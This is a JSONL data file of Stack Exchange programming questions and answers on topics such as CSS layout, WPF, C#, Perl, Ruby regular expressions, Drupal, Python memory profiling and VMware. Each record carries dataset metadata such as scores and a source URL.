{"id": "hf_695669dec112", "question": "<p>I want the following layout to appear on the screen:</p>\n\n<pre><code>FieldName 1             [Field input 1]\nFieldName 2 is longer   [Field input 2]\n    .                         .\n    .                         .\nFieldName N             [Field input N]\n</code></pre>\n\n<p>Requirements:</p>\n\n<ul>\n<li>Field names and field inputs must align on the left edges</li>\n<li>Both columns must dynamically size themselves to their content</li>\n<li>Must work cross-browsers</li>\n</ul>\n\n<p>I find this layout extremely simple to do using HTML tables, but since I see a lot of CSS purists insisting that tables only be used for tabular data I figured I'd find out if there was a way to do it using CSS.</p>\n", "question_body": "", "answer": "FieldName objects should be contained in SPANs with style attributes of float: left and a width that is wide enough for your labels.\nInputs should be contained within a span styled to float: left. Place a\n```\n<div style=\"clear: both\"/>\n```\nor\n```\n<br/>\n```\nafter each field input to break the floating.\nYou may enclose the aforementioned objects into a div with the width style attribute set that is wide enough for both labels and inputs, so that the \"table\" stays small and contained.\nExample:\n```\n```\n<span style=\"float: left; width: 200px\">FieldName1</span><span style=\"float: left\"><input/><br/>\n\n<span style=\"float: left; width: 200px\">FieldName2</span><span style=\"float: left\"><input/><br/>\n\n<span style=\"float: left\">FieldName3</span><span style=\"float: left\"><input/><br/>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:35.195830"}
{"id": "hf_3ab0bddac62c", "question": "<p>I've been developing Winforms applications in C# for a few years now and have been interested in moving future development toward WPF, mainly because of the positive things I've been hearing about it.  But, I'm wondering what sort of hurdles others have had to overcome as they migrated to WPF.  Was there a significant hit to your productivity or any particular issues which you found challenging?</p>\n", "question_body": "", "answer": "I'm not sure I can give you just one hurdle, because it is a complete departure from WinForms.  My suggestion is get Adam Nathan's WPF Unleashed, forget everything you know about building UI's with any previous technology (Winforms, MFC, Java) and begin again at square one.\nIf you try and do it any other way it will cause utter frustration.\nETA: the reason I say to just start from scratch is because sometimes it's easier to learn new concepts if you go in with a clean slate.  In the past, I've discovered that I can be my own worst enemy when it comes to learning something new if I try to carry knowledge from technology to technology (e.g. thinking that doing asmx web services for years precludes me from reading the first couple chapters of a WCF book).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:35.222920"}
{"id": "hf_f9b6dedd12b4", "question": "<p>I've been digging through some parts of the Linux kernel, and found calls like this:</p>\n\n<pre><code>if (unlikely(fd &lt; 0))\n{\n    /* Do something */\n}\n</code></pre>\n\n<p>or</p>\n\n<pre><code>if (likely(!err))\n{\n    /* Do something */\n}\n</code></pre>\n\n<p>I've found the definition of them:</p>\n\n<pre><code>#define likely(x)       __builtin_expect((x),1)\n#define unlikely(x)     __builtin_expect((x),0)\n</code></pre>\n\n<p>I know that they are for optimization, but how do they work? And how much performance/size decrease can be expected from using them? And is it worth the hassle (and losing the portability probably) at least in bottleneck code (in userspace, of course).</p>\n", "question_body": "", "answer": "They're hints to the compiler to generate the hint prefixes on branches.  On x86/x64, they take up one byte, so you'll get at most a one-byte increase for each branch.  As for performance, it entirely depends on the application -- in most cases, the branch predictor on the processor will ignore them, these days.\nEdit: Forgot about one place they can actually really help with.  It can allow the compiler to reorder the control-flow graph to reduce the number of branches taken for the 'likely' path.  This can have a marked improvement in loops where you're checking multiple exit cases.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:35.330090"}
{"id": "hf_b0bf09ae0e40", "question": "<p>I'm designing  my website and was curious, before I go rip someone else's ideas, what were the salient considerations and questions one should ask in designing a database?</p>\n", "question_body": "", "answer": "I think the most important question is, \"Why are you doing it (the CMS, not the web site)?\"  This is very well-trod ground.  Unless you have some really innovative ideas and unique insights into how you want it to be done ... and your question suggests that you probably don't ... you would probably be better-served by choosing an existing solution.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:35.377741"}
{"id": "hf_825c7f9f0428", "question": "<p>I've just switched an application to use ar_mailer and when I run ar_sendmail (after a long pause) I get the following error:</p>\n\n<pre><code>Unhandled exception 530 5.7.0 Must issue a STARTTLS command first. h7sm16260325nfh.4\n</code></pre>\n\n<p>I am using Gmail SMTP to send the emails and I haven't changed any of the ActionMailer::Base.smtp_settings just installed ar_mailer.</p>\n\n<p>Versions: </p>\n\n<p>Rails: 2.1, ar_mailer: 1.3.1</p>\n", "question_body": "", "answer": "What version of ar_mailer are you using? A gmail specific bug was fixed in 1.3.1, as shown here:\nhttp://rubyforge.org/forum/forum.php?forum_id=16364", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:35.422362"}
{"id": "hf_210997e6b10d", "question": "<p>What's the most elegant way to select out objects in an array that are unique with respect to one or more attributes?</p>\n\n<p>These objects are stored in ActiveRecord so using AR's methods would be fine too. </p>\n", "question_body": "", "answer": "I had originally suggested using the\n```\nselect\n```\nmethod on Array. To wit:\n```\n[1, 2, 3, 4, 5, 6, 7].select{|e| e%2 == 0}\n```\ngives us\n```\n[2,4,6]\n```\nback.\nBut if you want the first such object, use\n```\ndetect\n```\n.\n```\n[1, 2, 3, 4, 5, 6, 7].detect{|e| e>3}\n```\ngives us\n```\n4\n```\n.\nI'm not sure what you're going for here, though.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:35.473352"}
{"id": "hf_c96f432d8e2b", "question": "<p>What VM technologies exist for Linux, their pros and cons, and which is recommended for which application?</p>\n\n<p>Since this kind of question can be asked for X other than \"VM technologies for Linux\", and since the answer changes with progress, I suggest to define a template for this kind of pages.  Those pages will have the tag 'stateoftheart' and they will be revisited each month and each month there will be up-to-date list of technologies, up-to-date reviews and up-to-date recommendations.</p>\n", "question_body": "", "answer": "2008 Oct\nTo be filled in at October to reflect the market status then.\n2008 Sept\nProducts/services/technologies currently existing\nVMware\nXen\nVirtualBox\nVServer\n???\nComparisons\n???\nRecommendations for particular application areas\nHome multi-boot replacement\nSmall business which has MS-Windows legacy applications\nDatacenter of multinational corporation\n???", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:35.504522"}
{"id": "hf_e26543eadc94", "question": "<p>Should I bind directly to objects returned from a webservice or should I have client-side objects that I bind to my gridcontrols? For instance if I have a service that returns object Car should I have a client side Car object that I populate with values from the webservice Car object? \nWhat is considered best-practice?\nIn C# do I need to mark my classes as serializable or do something special to them?</p>\n", "question_body": "", "answer": "This really depends on what you are getting from the web service. If they are simple data transfer objects and you are only displaying data, then yes, you can bind. If you plan to edit the objects, it may not be usefull as you will need to track changes.\nDo your objects and/or collections on the client track changes? If so you can use them.\nIf you have no change tracking, then you will need to track changes yourself, so you may need to translate the objects or wrap them in something to track changes.\nAgain, it really depends on what you are getting, what they support, what you are doing with them, as well as what response the server wants back for changes.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:35.553366"}
{"id": "hf_a176111e2bb9", "question": "<p>Who here is using WASP (<a href=\"http://wasp.sourceforge.net/content/\" rel=\"nofollow noreferrer\">http://wasp.sourceforge.net/content/</a>) to in real world applications? What impressions do you have? Good? Bad? If you can provide any inputs, how good it is comparing with rails for example.</p>\n\n<p>I'm really looking for MVC frameworks for PHP</p>\n\n<blockquote>\n  <p><strong>Update:</strong> <a href=\"http://www.phpit.net/article/ten-different-php-frameworks/\" rel=\"nofollow noreferrer\">This comparation</a> I found is good.</p>\n</blockquote>\n", "question_body": "", "answer": "I downloaded it a while ago and tried it out, but as the documentation is pretty terrible at the moment (consisting of some auto-generated 'documentation' that was useless) I gave up pretty quickly. I think one of the most important things to have in a framework is clear, thorough documentation - if you have to spend time digging through the code of the framework to find out if a class you want exists, the point of using a framework is lost. WASP does not seem to be ready for production environments just yet, as even their website admits that its not ready for enterprise applications.\nIf you're looking for a PHP framework I would recommend CodeIgniter, which has excellent documentation and a helpful community, or Zend, which is pretty mature.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:35.710609"}
{"id": "hf_f189dc7c3990", "question": "<p>I am reading a .NET book, and in one of the code examples there is a class definition with this field:</p>\n\n<pre><code>private DateTime? startdate\n</code></pre>\n\n<p>What does <code>DateTime?</code> mean?</p>\n", "question_body": "", "answer": "It's a nullable DateTime.\n```\n?\n```\nafter a primitive type/structure indicates that it is the nullable version.\nDateTime is a structure that can never be null. From\nMSDN\n:\nThe DateTime value type represents dates and times with values ranging from 12:00:00 midnight, January 1, 0001 Anno Domini, or A.D. (also known as Common Era, or C.E.) through 11:59:59 P.M., December 31, 9999 A.D. (C.E.)\n```\nDateTime?\n```\ncan be null however.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:35.735114"}
{"id": "hf_0954c246143f", "question": "<p>Has anybody found a good solution for lazily-evaluated lists in Perl? I've tried a number of ways to turn something like  </p>\n\n<pre><code>for my $item ( map { ... } @list ) { \n}\n</code></pre>\n\n<p>into a lazy evaluation--by tie-ing @list, for example. I'm trying to avoid breaking down and writing a source filter to do it, because they mess with your ability to debug the code. Has anybody had any success. Or do you just have to break down and use a while loop? </p>\n\n<p><strong>Note:</strong> I guess that I should mention that I'm kind of hooked on sometimes long grep-map chains for functionally transforming lists. So it's not so much the foreach loop or the while loop. It's that map expressions tend to pack more functionality into the same vertical space. </p>\n", "question_body": "", "answer": "If I remember correctly, for/foreach do get the whole list first anyways, so a lazily evaluated list would be read completely and then it would start to iterate through the elements. Therefore, I think there's no other way than using a while loop. But I may be wrong.\nThe advantage of a while loop is that you can fake the sensation of a lazily evaluated list with a code reference:\n```\n```\nmy $list = sub { return calculate_next_element };\nwhile(defined(my $element = &$list)) {\n    ...\n}\n```\n```\nAfter all, I guess a tie is as close as you can get in Perl 5.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:35.783814"}
{"id": "hf_1bb5f8a96f1d", "question": "<p>aspnet mvc has the HandleError filter that will return a view if an error occurs, but if an error occurs when calling a JsonResult Action how can I return a JSON object that represents an error?</p>\n\n<p>I don't want to wrap the code in each action method that returns a JsonResult in a try/catch to accomplish it, I'd rather do it by adding a 'HandleJsonError' attribute or using the existing HandleError attribute to the required action methods.</p>\n", "question_body": "", "answer": "Maybe you could create your own Attribute and have a constructor value that takes an enum value of View or Json. Below is what Im using for  a custom Authorization Attribute to demonstrate what I mean. This way when authentication fails on a json request it responds with a json error and the same with if it returns a View.\n```\n```\npublic enum ActionResultTypes\n   {\n       View,\n       Json\n   }\n\n    public sealed class AuthorizationRequiredAttribute : ActionFilterAttribute, IAuthorizationFilter\n    {\n        public ActionResultTypes ActionResultType { get; set; }\n\n        public AuthorizationRequiredAttribute(ActionResultTypes actionResultType)\n        {\n            this.ActionResultType = ActionResultType;\n        }\n    }\n\n    //And used like\n    [AuthorizationRequired(ActionResultTypes.View)]\n    public ActionResult About()\n    {\n    }\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:35.826878"}
{"id": "hf_05d342891191", "question": "<p>To see what file to invoke the unrar command on, one needs to determine which file is the first in the file set.</p>\n\n<p>Here are some sample file names, of which - naturally - only the first group should be matched:</p>\n\n<pre><code>yes.rar\nyes.part1.rar\nyes.part01.rar\nyes.part001.rar\n\nno.part2.rar\nno.part02.rar\nno.part002.rar\nno.part011.rar\n</code></pre>\n\n<p>One (limited) way to do it with PCRE compatible regexps is this:</p>\n\n<pre><code>.*(?:(?&lt;!part\\d\\d\\d|part\\d\\d|\\d)\\.rar|\\.part0*1\\.rar)\n</code></pre>\n\n<p>This did not work in Ruby when I tested it at <a href=\"http://www.projects.aphexcreations.net/rejax/\" rel=\"nofollow noreferrer\">Rejax</a> however.</p>\n\n<p>How would you write one <strong>Ruby compatible</strong> regular expression to match only the first file in a set of RAR files?</p>\n", "question_body": "", "answer": "I am no regex expert but here is my attempt\n```\n```\n^(yes|no)\\.(rar|part0*1\\.rar)$\n```\n```\nReplace \"yes|no\" with the actual file name. I matched it against your examples to see if it would only match the first set hence the \"yes|no\" in the regex.\nUPDATE: fixed as per the comment. Not sure why the user would not know the filename so i did not fix that part...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:35.853975"}
{"id": "hf_d019e052dc7b", "question": "<p>How to implement multi-threading in visual basic 6.0. It would be great if someone can give an example.</p>\n", "question_body": "", "answer": "VB6 is not a really good environment for multi-threaded applications. There is no out-of-the-box support, you need to delve into standard\nWinAPI\nfunctions. Take a look at this article, which provides quite a comprehensive sample:\nhttp://www.freevbcode.com/ShowCode.Asp?ID=1287", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:35.878028"}
{"id": "hf_2ee2d20dd356", "question": "<p>I've got a generic&lt;> function that takes a linq query ('items') and enumerates through it adding additional properties. How can I select all the properties of the original 'item' rather than the item itself (as the code below does)?</p>\n\n<p>So equivalent to the sql: select *, 'bar' as Foo from items</p>\n\n<pre><code>foreach (var item in items)\n{\n    var newItem = new {\n        item, // I'd like just the properties here, not the 'item' object!\n        Foo = \"bar\"\n    };\n\n    newItems.Add(newItem);\n}\n</code></pre>\n", "question_body": "", "answer": "```\n```\nfrom item in items\nwhere someConditionOnItem\nselect\n{\n     propertyOne,\n     propertyTwo\n};\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:35.911315"}
{"id": "hf_b2dfca44429e", "question": "<p>just a quick question:</p>\n\n<p>I am a CS undergrad and have only had experience with the Eclipse, and Net Beans IDEs.  I have recently acquired a Macbook and was wanting to recompile a recent school project in Xcode just to test it out.  Right after the line where I declare a new instance of an ArrayList: </p>\n\n<pre><code>dictionary = new ArrayList&lt;String&gt;(); \n</code></pre>\n\n<p>I get the following error: <b>generics are not supported in -source 1.3</b>.</p>\n\n<p>I was just wondering if anybody could offer advice as to what the problem might be.  The same project compiles in Eclipse on the same machine.  I'm running OSX 10.5.4, with Java 1.5.0_13.  </p>\n\n<p>Thank you.</p>\n", "question_body": "", "answer": "Generics are introduced in Java 5, so you can't use generics with -source 1.3 option.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:35.935708"}
{"id": "hf_ac62b9912c1b", "question": "<p>In the past, some of my projects have required me to create a movie version of a fullscreen Flash application. The easiest way to do this has been to get a screen capture. However, capturing anything over 1024x768 has resulted in choppy video, which is unacceptable. I understand that there are hardware based solutions for capturing fullscreen video, but I have not been able to find out what these are. My output needs to be scalable up to 1920x1080 and result in an uncompressed AVI file with no choppy-ness.</p>\n", "question_body": "", "answer": "With a bit of luck your graphic adapter already has a analog video output. You could hook up a dvd recorder and just digitze the video signal on a stand alone hardware box.\nThat won't give you 1920x1080 though.\nIf you really need to get captures higher than dvd resolution you need professional (and\nincredible\nexpensive) video capture equipment.\nedit:\nBtw - if you want to capture 1920x1080 in true color at 30 frames per second uncompressed you have to somehow store around\n237 megabytes per second\n. Just to give you an idea how much data you have to deal with...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:35.985177"}
{"id": "hf_78402a5d6b19", "question": "<p>I know that <code>JTable</code> can sort by a single column. But is it possible to allow for multiple column sort or do I need to write the code myself?</p>\n", "question_body": "", "answer": "You should be able to set the TableRowSorter and the Comparator associated with it.\nExample:\n```\n```\nTableModel myModel = createMyTableModel();\nJTable table = new JTable(myModel);\nTableRowSorter t = new TableRowSorter(myModel);\nt.setComparator(column that the comparator works against, Comparator<?> comparator);\ntable.setRowSorter(new TableRowSorter(myModel));\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:36.033212"}
{"id": "hf_a1a94db35c11", "question": "<p>Just bought a 2.4GHz Intel Core 2 Duo iMac with 2GB of memory and a 320GB hard drive. I plan on doing some .net development on it using a BootCamp/VMWare combo since VMWare grants access to the bootcamp partition.</p>\n\n<p>What is a recommended size for a BootCamp partition and how much memory should I give VMWare? Any pitfalls to watch out for? What is your current configuration?</p>\n", "question_body": "", "answer": "While this doesn't address your question directly, I wouldn't recommend running VS 2008 and all of the supporting tools on anything less than 2GB of RAM.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:36.067856"}
{"id": "hf_7d160ba7dad6", "question": "<p>Several questions about functional programming languages have got me thinking about whether XSLT is a functional programming language. If not, what features are missing? Has XSLT 2.0 shortened or closed the gap?</p>\n", "question_body": "", "answer": "For the most part, what makes XSLT not a 100% functional programming language is it's inability to treat functions as a first-class data type.\nThere may be some others -- but that's the obvious answer.\nGood luck!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:36.094026"}
{"id": "hf_8ee89a185937", "question": "<p>Is a Star-Schema design essential to a data warehouse?  Or can you do data warehousing with another design pattern?</p>\n", "question_body": "", "answer": "The thing about star schemas is they are a natural model for the kinds of things most people want to do with a data warehouse. For instance it is easy to produce reports with different levels of granularity (month or day or year for example). It is also efficient to insert typical business data into a star schema, again a common and important feature of a data warehouse.\nYou certainly can use any kind of database you want but unless you know your business domain very well it is likely that your reports will not run as efficiently as they could if you had used a star schema.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:36.116494"}
{"id": "hf_cb05bcc14853", "question": "<p>I'm planning to install Drupal. Is there any reason not to install the latest 6.x version as opposed to the 5.x branch? Are there any really good modules that are 5.x only?</p>\n", "question_body": "", "answer": "I've found enough modules to happily run my site on Drupal 6.x  I think the only 5.x module I miss is one that did very easy Google ad integration, and that may have been updated I just haven't checked recently.  I don't get enough traffic to make the ads worth the time in setting them up, so I just use the search part of the ad campaign.\nDrupal 7.x is under development now, so I would expect that anything that hasn't been moved from 5.x to 6.x is just not being developed anymore, and is probably not really that needed.\nUltimately, take a look at what modules you may need.  With an account on Drupal's site, you can filter by install type.  I found that 6.x is much easier to work with in some regards (managing and upgrading modules) and overall I've had a much easier time maintaining my site under Drupal 6.x than I did under 4.x or 5.x.\nI also think that 6.x runs much faster.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:36.139653"}
{"id": "hf_012649addaaa", "question": "<p>I'm fully aware that set division can be accomplished through a series of other operations, so my question is:  </p>\n\n<p>Is there a command for set division in SQL?</p>\n", "question_body": "", "answer": "http://vadimtropashko.files.wordpress.com/2007/02/ch3.pdf\nFrom Page 32:\nRelational Division is not a fundamental operator. It can be expressed in terms of projection, Cartesian product, and set difference.\nSo, no. :)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:36.201031"}
{"id": "hf_d3073ab2f6b3", "question": "<p>I'm using ASP.NET Web Forms for blog style comments.  </p>\n\n<p>Edit 1: This looks way more complicated then I first thought.  How do you filter the src?<br>\nI would prefer to still use real html tags but if things get too complicated that way, I might go a custom route.  I haven't done any XML yet, so do I need to learn more about that?</p>\n", "question_body": "", "answer": "Use an XML parser to validate your input, and drop or encode all elements, and attributes, that you do not want to allow. In this case, delete or encode all tags except the\n```\n<img>\n```\ntag, and all attributes from that except\n```\nsrc\n```\n, alt\n```\nand title\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:36.241298"}
{"id": "hf_011d7369b9c2", "question": "<p>This is one of the possible ways I come out:</p>\n<pre><code>struct RetrieveKey\n{\n    template &lt;typename T&gt;\n    typename T::first_type operator()(T keyValuePair) const\n    {\n        return keyValuePair.first;\n    }\n};\n\nmap&lt;int, int&gt; m;\nvector&lt;int&gt; keys;\n\n// Retrieve all keys\ntransform(m.begin(), m.end(), back_inserter(keys), RetrieveKey());\n\n// Dump all keys\ncopy(keys.begin(), keys.end(), ostream_iterator&lt;int&gt;(cout, &quot;\\n&quot;));\n</code></pre>\n<p>Of course, we can also retrieve all values from the map by defining another functor <strong>RetrieveValues</strong>.</p>\n<p>Is there any other way to achieve this easily? (I'm always wondering why <code>std::map</code> does not include a member function for us to do so.)</p>\n", "question_body": "", "answer": "The SGI STL has an extension called\n```\nselect1st\n```\n. Too bad it's not in standard STL!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:36.278891"}
{"id": "hf_9719ed268098", "question": "<p>Since VS 2005, I see that it is not possible to simply build a dll against MS runtime and deploy them together (<a href=\"http://www.ddj.com/windows/184406482\" rel=\"nofollow noreferrer\">http://www.ddj.com/windows/184406482</a>). I am deeply confused by manifest, SxS and co: MSDN documentation is really poor, with circular references; specially since I am more a Unix guy, I find all those uninformative. My core problem is linking a dll against msvc9 or msvc8: since those runtime are not redistributable, what are the steps to link and deploy such a dll ? In particular, how are the manifest generated (I don't want mt.exe, I want something which is portable across compilers), how are they embedded, used ? What does Side by side assembly mean ?</p>\n\n<p>Basically, where can I find any kind of specification instead of MS jargon ?</p>\n\n<p>Thank you to everyone who answered, this was really helpful, </p>\n", "question_body": "", "answer": "Well, I've encountered some of these issues, so perhaps some of my comments will be helpful.\nThe manifest is an xml file.  While VS can and will make one for you when you compile, the other solution is to produce a resource file (.rc) and compile it into a compiled resource file (.res) using the resource compiler (rc.exe) included with VS.  You'll want to run the VS commandline from the tools menu, which will cause rc to be in the path, as well as setting various environmental variables correctly. Then compile your resource.  The resulting .res file can be used by other compilers.\nMake sure your manifest xml file's size is divisible by 4.  Add whitespace in the middle of it to achieve this if needed.  Try to avoid having any characters before the openning xml tag or after the closing xml tag.  I've sometimes had issues with this.  If you do step 2 incorrectly, expect to get side by side configuration errors.  You can check if that is your mistake by openning the exe in a resource editor (e.g. devenv.exe) and examining the manifest resource.  You can also see an example of a correct manifest by just opening a built file, though note that dlls and exes have tiny differences in what id the resource should be given.\nYou'll probably want to test on Vista to make sure this is working properly.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:36.377145"}
{"id": "hf_a917b825c04f", "question": "<p>I want to know the memory usage of my Python application and specifically want to know what code blocks/portions or objects are consuming most memory.\nGoogle search shows a commercial one is <a href=\"http://www.softwareverify.com/python/memory/index.html\" rel=\"noreferrer\">Python Memory Validator</a> (Windows only).</p>\n\n<p>And open source ones are <a href=\"http://pysizer.8325.org/\" rel=\"noreferrer\">PySizer</a> and <a href=\"http://guppy-pe.sourceforge.net/#Heapy\" rel=\"noreferrer\">Heapy</a>.</p>\n\n<p>I haven't tried anyone, so I wanted to know which one is the best considering:</p>\n\n<ol>\n<li><p>Gives most details.</p></li>\n<li><p>I have to do least or no changes to my code.</p></li>\n</ol>\n", "question_body": "", "answer": "I recommend\nDowser\n. It is very easy to setup, and you need zero changes to your code. You can view counts of objects of each type through time, view list of live objects, view references to live objects, all from the simple web interface.\n```\n```\n# memdebug.py\n\nimport cherrypy\nimport dowser\n\ndef start(port):\n    cherrypy.tree.mount(dowser.Root())\n    cherrypy.config.update({\n        'environment': 'embedded',\n        'server.socket_port': port\n    })\n    cherrypy.server.quickstart()\n    cherrypy.engine.start(blocking=False)\n```\n```\nYou import memdebug, and call memdebug.start. That's all.\nI haven't tried PySizer or Heapy. I would appreciate others' reviews.\nUPDATE\nThe above code is for\n```\nCherryPy 2.X\n```\n,\n```\nCherryPy 3.X\n```\nthe\n```\nserver.quickstart\n```\nmethod has been removed and\n```\nengine.start\n```\ndoes not take the\n```\nblocking\n```\nflag. So if you are using\n```\nCherryPy 3.X\n```\n```\n```\n# memdebug.py\n\nimport cherrypy\nimport dowser\n\ndef start(port):\n    cherrypy.tree.mount(dowser.Root())\n    cherrypy.config.update({\n        'environment': 'embedded',\n        'server.socket_port': port\n    })\n    cherrypy.engine.start()\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:36.401292"}
{"id": "hf_eb49e67bd7b3", "question": "<p>I'm using VMware Workstation 6.0 for simulation of tight clusters of \"blades\" in a \"chassis\". Both the host and target OSs are Linux. Each \"chassis\" uses a vmnet switch as a virtual backplane, to which the virtual blades connect. Other vmnet switches are used to mediate point-to-point connections between mutiple virtual ethernet adapters on each blade VM. The chassis, and thus the VMs, are brought up and shutdown rather frequently. My scripts (python) make heavy use of the VIX api, and also manipulate the .vmx config file.<br><br>\nWhat do I gain and/or lose going from VMware Workstation to ESX? Do my scripts that use the VIX api still work? Do my rather complicated virtual network topologies, with lots of vmnet switches defined as \"custom\", still work the same way? Is the syntax and semantics of the .vmx config file the same between Workstation and ESX?<br><br>Thanks in advance for your help.</p>\n", "question_body": "", "answer": "The first thing you'll gain by switching will be a substantially more powerful platform that's running directly on the bare-metal of your server.\nFrom my experience, moving\nup\nthe VMware application stack has never been problematic (Server to Workstation to ESX). However, I would verify this by exporting all of your VMs from the workstation install to an ESX install to make sure you're not seeing any 'weird' issues related to running the high-end tool from VMware.\nFrom my [limited] experience, scripts also carry-over cleanly: each offering moving up their product line doesn't break lower-level tools, but do add substantial improvements.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:36.450223"}
